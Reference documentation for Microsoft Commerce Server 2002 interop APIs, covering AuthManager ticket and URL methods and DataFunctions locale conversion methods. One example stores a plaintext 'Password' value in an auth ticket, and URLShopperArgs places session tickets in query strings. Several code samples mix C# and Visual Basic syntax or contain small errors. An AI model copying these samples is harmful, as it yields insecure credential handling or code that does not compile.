0xC1004C23 | Invalid character (';' or '%' or '=') present in the UserID or the property name/value pair.
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.
0xC1004C40 | The ticket has reached a maximum size of 4 kilobytes.

Remarks

The time the user last logged in is stored in the ticket, along with the length of time from the last login that the ticket is valid.

If an AuthTicketType ticket for the user already exists and an empty string is passed in as the ID, UserID, for the user, the existing ticket is deleted.

If the current user is anonymous, use the SetProfileTicket method to generate a ProfileTicketType ticket.

[Visual Basic .NET]

Example

' oAuthManager is a Commerce AuthManager object
oAuthManager.SetAuthTicket ("JoeUser@microsoft.com", True, 30)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class

AuthManager.IsAuthenticated


AuthManager.SetProfileTicket Method (PIA)

Use this method to set a ProfileTicketType ticket for an anonymous user. An anonymous user is not registered with a site.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetProfileTicket(
  UserID As String,
  fCookieSupport As Boolean
)
[C#]
using Microsoft.CommerceServer.Interop;
…
void SetProfileTicket(
  string UserID,
  bool fCookieSupport
);

Parameters

[Visual Basic .NET]
UserID
A String that contains the unique ID for the current user.
fCookieSupport
A Boolean that indicates whether persistent cookies are supported.
[C#]
UserID
A string that contains the unique ID for the current user.
fCookieSupport
A bool that indicates whether persistent cookies are supported.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C23 | Invalid character (';' or '%' or '=') present in the UserID or the property name/value pair.
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
&HC1004C40 | The ticket has reached a maximum size of 4 kilobytes.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C23 | Invalid character (';' or '%' or '=') present in the UserID or the property name/value pair.
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.
0xC1004C40 | The ticket has reached a maximum size of 4 kilobytes.

Remarks

If a ProfileTicketType ticket for the user already exists and an empty string is passed in for the user ID, UserID, the existing ticket is deleted.

If the current user has registered, use the SetAuthTicket method to generate an AuthTicketType ticket.

[Visual Basic .NET]

Example

' oAuthManager is a Commerce AuthManager object
oAuthManager.SetProfileTicket ("74A38551-D6D8-FFD0-12BF-0A20C90DC8D1", _
 True)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class

AuthManager.IsAuthenticated


AuthManager.SetProperty Method (PIA)

Use this method to place a custom property name/value pair into the current ticket for the user.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetProperty(
  enumTicketType As TicketTypeEnum,
  propName As String,
  propVal As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
void SetProperty(
  TicketTypeEnum enumTicketType,
  string propName,
  string propVal
);

Parameters

[Visual Basic .NET]
enumTicketType
A TicketTypeEnum that indicates the type of ticket.
propName
A String that contains the name of the property.
propVal
A String that contains the value corresponding to the named property.
[C#]
enumTicketType
A Microsoft.CommerceServer.Interop.TicketTypeEnum that indicates the type of ticket.
propName
A string that contains the name of the property.
propVal
A string that contains the value corresponding to the named property.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C23 | Invalid character (';' or '=') present in the property name/value pair.
&HC1004C27 | Invalid custom property name or value.
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
&HC1004C40 | The ticket has reached a maximum size of 4 kilobytes.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C23 | Invalid character (';' or '=') present in the property name/value pair.
0xC1004C27 | Invalid custom property name or value.
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.
0xC1004C40 | The ticket has reached a maximum size of 4 kilobytes.

Remarks

Use the GetProperty method to retrieve the custom property values from the current ticket. See the Remarks section in the GetProperty topic for a discussion of using enumerator values in code.

The following table defines the possible values for the Microsoft.CommerceServer.Interop.TicketTypeEnum.

Name | Value | Description
ProfileTicketType | 1 | A Profile ticket used for an anonymous user.
AuthTicketType | 2 | An Auth ticket used for a registered user.

Note

  • A property with the name "Ticket" is used by the AuthManager object for storing Commerce Server 2002 related information. When creating a custom property, do not set the property name to "Ticket".
[Visual Basic .NET]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.SetProperty (AuthTicketType, "Password", "MyPassword123")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class

AuthManager.GetProperty


AuthManager.SetUserID Method (PIA)

Use this method to change the user ID property on a ticket.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub SetUserID(
  enumTicketType As TicketTypeEnum,
  newUserID As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
void IMSCSAuthManager::SetUserID(
  TicketTypeEnum enumTicketType,
  string newUserID
);

Parameters

[Visual Basic .NET]
enumTicketType
A TicketTypeEnum that indicates the type of ticket that will contain the user ID.
newUserID
A String that contains the unique ID for the current user.
[C#]
enumTicketType
A Microsoft.CommerceServer.Interop.TicketTypeEnum that indicates the type of ticket that will contain the user ID.
newUserID
A string that contains the unique ID for the current user.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C23 | Invalid character (';' or '%' or '=') present in the UserID.
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
&HC1004C40 | The ticket has reached a maximum size of 4 kilobytes.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C23 | Invalid character (';' or '%' or '=') present in the UserID.
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.
0xC1004C40 | The ticket has reached a maximum size of 4 kilobytes.

Remarks

The value for the user ID may be the logon name for a registered user, a globally unique identifier (GUID) for an anonymous user, or any unique value.

If the appropriate ticket already exists, the value in the user ID is updated. If the ticket already exists and an empty string is passed in as the value for the user ID, newUserID, the existing ticket is deleted.

If the ticket does not exist, a ticket is created with default values for the rest of the data.

The following table defines the possible values for the Microsoft.CommerceServer.Interop.TicketTypeEnum.

Name | Value | Description
ProfileTicketType | 1 | A Profile ticket used for an anonymous user.
AuthTicketType | 2 | A Auth ticket used for a registered user.
[Visual Basic .NET]

Example

' oAuthManager is a Commerce AuthManager object

oAuthManager.SetUserID (AuthTicketType, JoeUser@microsoft.com)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.UnInitialize Method (PIA)

Use this method to delete the site-specific configuration resource properties from the cache when the site is no longer valid.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Sub UnInitialize(
  bstrSiteName As String
)
[C#]
using Microsoft.CommerceServer.Interop;
…
void UnInitialize(
  string strSiteName,
);

Parameters

[Visual Basic .NET]
bstrSiteName
A String that contains the name of the site.
[C#]
strSiteName
A string that contains the name of the site.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.

Remarks

This method must be called to disconnect the AuthManager object cache from the specified site.

The Initialize method loads the site configuration resource properties into the cache.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class


AuthManager.URLArgs Method (PIA)

Use this method to generate a Uniform Resource Locator (URL) encoded query string of name/value pairs.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function URLArgs(
  ByRef pVarURLParameters As Object,
  ByRef pVarURLValues As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop;
…
string URLArgs(
  ref object oURLParameters,
  ref object oURLValues
);

Parameters

[Visual Basic .NET]
pVarURLParameters
A System.Array that contains the parameter names.
pVarURLValues
A System.Array that contains the values corresponding to the parameter names.
[C#]
pURLParameters
An object containing a System.Array of parameter names.
pURLValues
An object containing a System.Array of parameter values corresponding to the parameter names.

Return Values

This method returns a string that contains the resulting encoded URL query string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.

Remarks

This method concatenates the parameter name/value pairs into a encoded URL string. This method will fail if the two arrays containing the parameter names and values are not the same size.

The URLShopperArgs method performs the same URL encoding and additionally appends the ticket to the query string, if a ticket is set.

[C#]

The returned string contains valid data only if the method completes successfully.

[Visual Basic .NET]

Example

' saParameterNames and saParameterValues are SafeArrays
' sURLArg is a string
' oAuthManager is a Commerce AuthManager object

saParameterNames(0) = "sku1"
saParameterNames(1) = "sku3"
saParameterValues(0) = "12345"
saParameterValues(1) = "98765"
sURLArg = oAuthManager.URLArgs(saParameterNames, saParameterValues)

' sURLArg = "?sku1=12345&sku3=98765"

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class

AuthManager.URLShopperArgs


AuthManager.URLShopperArgs Method (PIA)

Use this method to generate an encoded Uniform Resource Locator (URL) query string of name/value pairs and append the ticket to the query string if a ticket is set.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function URLShopperArgs(
  ByRef pVarURLParameters As Object,
  ByRef pVarURLValues As Object
) As String
[C#]
using Microsoft.CommerceServer.Interop;
…
string URLShopperArgs(
  ref object pURLParameters,
  ref object pURLValues
);

Parameters

[Visual Basic .NET]
pVarURLParameters
A System.Array that contains the parameter names.
pVarURLValues
A System.Array that contains the values corresponding to the parameter names.
[C#]
oURLParameters
An object containing a System.Array of parameter names.
oURLValues
An object containing a System.Array of parameter values corresponding to the parameter names.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a String that contains the encoded-URL string.

[C#] This method returns a string that contains the resulting encoded-URL query string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

The following table shows the custom COM errors that this method can return.

Value | Description
&HC1004C24 | This method should only be called within an ASP page.
&HC1004C10 | The Initialize method must be called with the installed site name before calling this method.
[C#]

The following table shows the custom COM errors that a COMException can wrap.

Value | Description
0xC1004C24 | This method should only be called within an ASP page.
0xC1004C10 | The Initialize method must be called with the installed site name before calling this method.

Remarks

This method concatenates the parameter name/value pairs into an encoded URL string and appends the ticket. This is useful for cookieless shopping support. This method will fail if the two arrays containing the parameters and values are not the same size.

If both types of tickets exist, the AuthTicketType ticket takes precedence.

Use the URLArgs method to perform URL encoding of parameter/value pairs without appending the ticket.

[Visual Basic .NET]

Example

' saParameterNames and saParameterValues are SafeArrays
' sURLShopArg is a string
' oAuthManager is a Commerce AuthManager object

saParameterNames(0) = "sku1"
saParameterNames(1) = "sku3"
saParameterValues(0) = "12345"
saParameterValues(1) = "98765"
sURLShopArg = oAuthManager.URLShopperArgs(saParameterNames, saParameterValues)

' sURLShopArg =
' "?sku1=12345&sku3=98765&MSCSAuth=Q0H4SE915ASH2KC000Q79QB1E"

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsauthlib (in mscsauthlib.dll)

See Also

AuthManager Class

AuthManager.SetProperty

AuthManager.SetAuthTicket

AuthManager.SetProfileTicket

AuthManager.URLArgs


DataFunctions Class (PIA)

Use this object to perform locale-based formatting, parsing, and value range checking in a site. This object also has a variety of utilities useful for site development.

Use the Commerce Server 2000 MSCSAspHelpLib Type Library to access this object.

Methods

Method | Description
CleanString | Processes the specified string. This processing can include stripping out white spaces, modifying the case of the string, and validating that the length of the string falls within a specified range.
ConvertDateString | Converts the specified string representation of the date to a date Object, based on the default or specified locale.
ConvertDateTimeString | Converts the specified string representation of the date and time to a date Object, based on the default or specified locale.
ConvertFloatString | Converts the specified string representation of a floating-point number to a double Object, based on the default or specified locale.
ConvertMoneyStringToNumber | Converts the specified string representation of a currency value to an Integer Object, based on the default or specified locale.
ConvertNumberString | Converts the specified string representation of a number to an integer Object, based on the default or specified locale.
ConvertTimeString | Converts the specified string representation of a time value to a date Object, based on the default or specified locale.
Date | Returns a string representation of a date stored in a date Object, based on the default or specified locale.
DateTime | Returns a string representation of a date and time stored in a date Object, based on the default or specified locale.
Float | Returns a string representation of a floating-point number, based on the default or specified locale.
GetLocaleInfo | Retrieves information about the specified locale.
GetLocaleList | Retrieves a list of installed locales.
Money | Returns a formatted currency string, based on the default or specified locale.
Number | Returns a string representation of a number, based on the default or specified locale.
Time | Returns a string representation of a time stored in a date Object, based on the default or specified locale.
ValidateDateTime | Checks whether the specified string contains a valid date and/or time, and optionally checks against a specified range.
ValidateFloat | Checks whether the specified string contains a valid floating-point number, and optionally checks the value of the number against a specified range.
ValidateNumber | Checks whether the specified string contains a valid number, and optionally checks the value of the number against a specified range.
CloneObject | Clones a SimpleList or Dictionary object.
ConvertStringToCurrency | Converts the specified string representation of currency value into a currency Object.
LocalizeCurrency | Creates a string representation of a currency value formatted to a specified locale and currency symbol.

Properties

Property | Type | Description
Locale | Integer | Stores a number that represents the default locale to be used to format date, time, money, and number values. This property is read/write.
CurrencySymbol | Object | Stores the currency symbol to use if no currency symbol is specified in the ConvertStringToCurrency and LocalizeCurrency methods. The default value is the system default currency symbol. This property is read/write.

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)


DataFunction Methods (PIA)

Methods

Method | Description
CleanString | Processes the specified string. This processing can include stripping out white spaces, modifying the case of the string, and validating that the length of the string falls within a specified range.
ConvertDateString | Converts the specified string representation of the date to a date Object, based on the default or specified locale.
ConvertDateTimeString | Converts the specified string representation of the date and time to a date Object, based on the default or specified locale.
ConvertFloatString | Converts the specified string representation of a floating-point number to a double Object, based on the default or specified locale.
ConvertMoneyStringToNumber | Converts the specified string representation of a currency value to an Integer Object, based on the default or specified locale.
ConvertNumberString | Converts the specified string representation of a number to an integer Object, based on the default or specified locale.
ConvertTimeString | Converts the specified string representation of a time value to a date Object, based on the default or specified locale.
Date | Returns a string representation of a date stored in a date Object, based on the default or specified locale.
DateTime | Returns a string representation of a date and time stored in a date Object, based on the default or specified locale.
Float | Returns a string representation of a floating-point number, based on the default or specified locale.
GetLocaleInfo | Retrieves information about the specified locale.
GetLocaleList | Retrieves a list of installed locales.
Money | Returns a formatted currency string, based on the default or specified locale.
Number | Returns a string representation of a number, based on the default or specified locale.
Time | Returns a string representation of a time stored in a date Object, based on the default or specified locale.
ValidateDateTime | Checks whether the specified string contains a valid date and/or time, and optionally checks against a specified range.
ValidateFloat | Checks whether the specified string contains a valid floating-point number, and optionally checks the value of the number against a specified range.
ValidateNumber | Checks whether the specified string contains a valid number, and optionally checks the value of the number against a specified range.
CloneObject | Clones a SimpleList or Dictionary object.
ConvertStringToCurrency | Converts the specified string representation of currency value into a currency Object.
LocalizeCurrency | Creates a string representation of a currency value formatted to a specified locale and currency symbol.


DataFunctions.CleanString Method (PIA)

Use this method to process a string, based on the default or specified locale. The string processing can include stripping out leading and trailing white spaces, modifying string case, and validating that the length of the string falls within a given range.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function CleanString(
 vtInput As Object,
 Optional vtMinLen As Object,
 Optional vtMaxLen As Object,
 Optional vtStripWhite As Object,
 Optional vtStripReturn As Object,
 Optional vtCase As Object,
 Optional vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object CleanString(
 object vtInput,
 object vtMinLen,
 object vtMaxLen,
 object vtStripWhite,
 object vtStripReturn,
 object vtCase,
 object vtLocale
);

Parameters

[Visual Basic .NET]
vtInput
An Object that contains the text of the string to process.
vtMinLen
An Object that contains the minimum length against which the length of the input string will be validated. The default value for this parameter is zero (0).
vtMaxLen
An Object that contains the maximum length against which the length of the input string will be validated. The default value for this parameter is no limit.
vtStripWhite
An Object that contains the Boolean value that indicates whether leading and trailing white spaces should be stripped from the input string. The default value is True.
vtStripReturn
An Object that contains the Boolean value that indicates whether the carriage returns contained anywhere in the input string should be stripped. The default value is True.
vtCase
An Object that specifies any conversions to the case of the input string. The default value for this parameter is zero (0), which results in no modification to the case of the input string. If this parameter is set to one (1), the input string is converted to uppercase. If this parameter is set to two (2), the input string is converted to lowercase.
vtLocale
An Object that specifies the locale to use when processing the input string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
vtInput
An object that contains the text of the string to process.
vtMinLen
An object that contains the minimum length against which the length of the input string will be validated. The default value for this parameter is zero (0).
vtMaxLen
An object that contains the maximum length against which the length of the input string will be validated. The default value for this parameter is no limit.
vtStripWhite
An object that contains a Boolean value that indicates whether leading and trailing white spaces should be stripped from the input string. The default value is true.
vtStripReturn
An object that contains the Boolean value that indicates whether the carriage returns contained anywhere in the input string should be stripped. The default value is true.
vtCase
An object that specifies any conversions to the case of the input string. The default value for this parameter is zero (0), which results in no modification to the case of the input string. If this parameter is set to one (1), the input string is converted to uppercase. If this parameter is set to two (2), the input string is converted to lowercase.
vtLocale
An object that specifies the locale to use when processing the input string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a string Object that contains the processed string; otherwise, Null is returned.

[C#] This method returns an object that contains the processed string.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

DataFunctions df = New DataFunctions()
df.Locale = 1033
Dim Result As Object
Dim strData As Object
strData = " Microsoft Press   "
Result = df.CleanString(strData, 1, 20, True, True, 1)
Response.Write(Result)
' "MICROSOFT PRESS" will be written to the page

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

Page.RequestString


DataFunctions.CloneObject Method (PIA)

Use this method to clone a SimpleList or Dictionary object. This method performs a deep copy of the cloned object, so new memory is allocated for the clone.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function CloneObject(
 pdispSource As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object CloneObject(
 object pdispSource
);

Parameters

[Visual Basic .NET]
pdispSource
A reference to the SimpleList or Dictionary object to be cloned.
[C#]
pdispSource
A reference to an object that is either a SimpleList or Dictionary object to be cloned.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a reference to the SimpleList or Dictionary object clone.

[C#] This method returns an object reference that represents the SimpleList or Dictionary object clone.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' dSource and dCopy are Dictionary objects
DataFunctions df = New DataFunctions()
dCopy = df.CloneObject(dSource)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale


DataFunctions.ConvertDateString Method (PIA)

Use this method to convert a date string to a date object, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ConvertDateString(
 vtDate As Object,
 Optional vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ConvertDateString(
  object vtDate,
  object vtLocale
);

Parameters

[Visual Basic .NET]
vtDate
An Object that contains a string representation of the date to convert.
vtLocale
An Object that specifies the locale to use when processing the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
vtDate
An object that contains a string representation of the date to convert.
vtLocale
An object that specifies the locale to use when processing the string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a date Object containing the converted value; otherwise, Null is returned.

[C#] This method returns an object containing the converted date.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

In some cases, the DataFunctions.ConvertDateString method returns Null, for example, the DataFunctions.ConvertDateString method returns null when converting a string representation of the date to the date object type for Latvian and Bulgarian locales. To avoid this problem, remove the constant string added at the end of the Date Representation String according to the Regional Settings in the Control Panel.

[Visual Basic .NET]

Example

' Converts date using US and France locales
Dim Result As Object
DataFunctions df = new DataFunctions()
df.Locale = 1036
Result = df.ConvertDateString("12/1/2000")
Response.Write("France: " & Result & "<P>")
df.Locale = 1033
Result = df.ConvertDateString("12/1/2000")
Response.Write("USA: " & Result)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ConvertDateTimeString

DataFunctions.Date

DataFunctions.DateTime

Page.RequestTime


DataFunctions.ConvertDateTimeString Method (PIA)

Use this method to convert a date and time string to a date/time object, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ConvertDateTimeString(
 vtDateTime As Object,
 Optional vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ConvertDateTimeString(
  object vtDateTime,
  object vtLocale
);

Parameters

[Visual Basic .NET]
vtDateTime
An Object that contains a string that specifies the date/time value to convert.
vtLocale
An Object that specifies the locale to use to convert the date. If this value is not specified, the value of the Locale property of the DataFunctions object is used.

[C#]

vtDateTime
An object that contains a string that specifies the date/time value to convert.
vtLocale
An object that specifies the locale to use to convert the date. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a datetime Object that contains the converted date/time value; otherwise, Null is returned.

[C#] This method returns an object containing the converted date/time value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' Converts date time string using US and France locales
' oSourceDateTime is an Object containing a date time string
Dim Result As Object
DataFunctions df = New DataFunctions()
df.Locale = 1036
Result = df.ConvertDateTimeString(oSourceDateTime)
Response.Write("France: " & Result & "<P>")
df.Locale = 1033
Result = df.ConvertDateTimeString(oSourceDateTime)
Response.Write("USA: " & Result)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ConvertDateString

DataFunctions.Date

DataFunctions.DateTime

Page.RequestTime


DataFunctions.ConvertFloatString Method (PIA)

Use this method to convert a floating-point number represented as a string to a double object, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ConvertFloatString(
 vtNum As Object,
 Optional vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ConvertFloatString(
  object vtNum,
  object vtLocale
);

Parameters

[Visual Basic .NET]
vtNum
An Object that contains a string representation of the floating-point number to convert.
vtLocale
An Object that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
vtNum
An object that contains a string representation of the floating-point number to convert.
vtLocale
An object that specifies the locale to use to convert the string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns a double Object that contains the converted number; otherwise, Null is returned.

[C#] This method returns an object containing the converted floating-point number.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

[Visual Basic .NET]

Example

' Converts float using US and France locales
' oSourceFloat is an Object containing a float string
Dim Result As Object
DataFunctions df = New DataFunctions()
df.Locale = 1036
Result = df.ConvertFloatString(oSourceFloat)
Response.Write("France: " & Result & "<P>")
df.Locale = 1033
Result = df.ConvertFloatString(oSourceFloat)
Response.Write("USA: " & Result)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.Float

DataFunctions.ValidateFloat


DataFunctions.ConvertMoneyStringToNumber Method (PIA)

Use this method to convert a money string to a number, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ConvertMoneyStringToNumber(
 vtMoney As Object,
 vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ConvertMoneyStringToNumber(
  object vtMoney,
  object vtLocale
);

Parameters

[Visual Basic .NET]
vtMoney
An Object that contains a string representation of the monetary value to convert.
vtLocale
An Object that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
vtMoney
An object that contains a string representation of the monetary value to convert.
vtLocale
An object that specifies the locale to use to convert the string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an integer Object that represents the value of the specified string in the base monetary unit of the specified locale; otherwise, Null is returned.

[C#] This method returns an object that contains the converted monetary value.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

The ConvertMoneyStringToNumber method returns the value in the base monetary unit for a given locale. Thus, given a value in dollars, ConvertMoneyStringToNumber returns the number of cents in the dollar value.

Additionally, ConvertMoneyStringToNumber does not round values. For example, if you pass this method "123.009" the method returns 12300, not 12301.

This method returns an object of type int, not an OLE currency type.

In some cases, this method returns null when converting a string representation of monetary value to the currency object type for Swedish and Portuguese (Portugal) locales. To avoid this problem, use the Replace method of the string class (i.e. myString.Replace(MoneyString, CurrencyDigitGroupingSymbol, "")) to remove the currency digit grouping symbol from the money string prior to calling the method ConvertMoneyStringToNumber.

[Visual Basic .NET]

Example

Dim Result As Object
Dim Amount As Object
Amount = "12000"
DataFunctions df = New DataFunctions()
' Set Locale to USA
Result = df.ConvertMoneyStringToNumber("34.095", 1033)
Response.Write("USA: " & Result & "<P>")

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ConvertFloatString

DataFunctions.ConvertNumberString


DataFunctions.ConvertNumberString Method (PIA)

Use this method to convert an integer represented as a string to an integer object, based on the default or specified locale.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ConvertNumberString(
 vtNum As Object,
 Optional vtLocale As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ConvertNumberString(
  object vtNum,
  object vtLocale
);

Parameters

[Visual Basic .NET]
vtNum
An Object that contains a string representation of the number to convert.
vtLocale
An Object that specifies the locale to use to convert the string. If this parameter is not specified, the value of the Locale property of the DataFunctions object is used.
[C#]
vtNum
An object that contains a string representation of the number to convert.
vtLocale
An object that specifies the locale to use to convert the string. If you want the value of the Locale property of the DataFunctions object to be used, pass Type.Missing for this parameter.

Return Values

[Visual Basic .NET] If this method completes successfully, it returns an integer Object containing the converted number; otherwise, Null is returned.

[C#] This method returns an object containing the converted number.

Exceptions

This method may throw one of many mapped exceptions or an exception of type COMException. See Standard COM Errors for additional details.

Remarks

ConvertNumberString method is designed to accept only integers. Passing a floating-point number as the vtNum parameter results in an error. To convert floating-point numbers, use the ConvertFloatString method.

[Visual Basic .NET]

Example

' Converts integer string using US and France locales
' oSourceInt is an Object containing an integer string
Dim Result As Object
DataFunctions df = New DataFunctions()
df.Locale = 1036
Result = df.ConvertNumberString(oSourceInt)
Response.Write("France: " & Result & "<P>")
df.Locale = 1033
Result = df.ConvertNumberString(oSourceInt)
Response.Write("USA: " & Result)

Requirements

Namespace: Microsoft.CommerceServer.Interop

Platforms: Windows 2000, Windows .NET Server family

Assembly: mscsasphelplib (in mscsasphelplib.dll)

See Also

DataFunctions Class

DataFunctions.Locale

DataFunctions.ConvertFloatString

DataFunctions.Number

DataFunctions.ValidateNumber


DataFunctions.ConvertStringToCurrency Method (PIA)

Use this method to convert a string representation of a monetary value into a currency object, based on the specified locale and currency symbol.

Definition

[Visual Basic .NET]
Imports Microsoft.CommerceServer.Interop
…
Public Function ConvertStringToCurrency(
 vtMoneyString As Object,
 Optional vtLocale As Object,
 Optional vtCurrencySymbol As Object
) As Object
[C#]
using Microsoft.CommerceServer.Interop;
…
public object ConvertStringToCurrency(
  object vtMoneyString,
  object vtLocale,
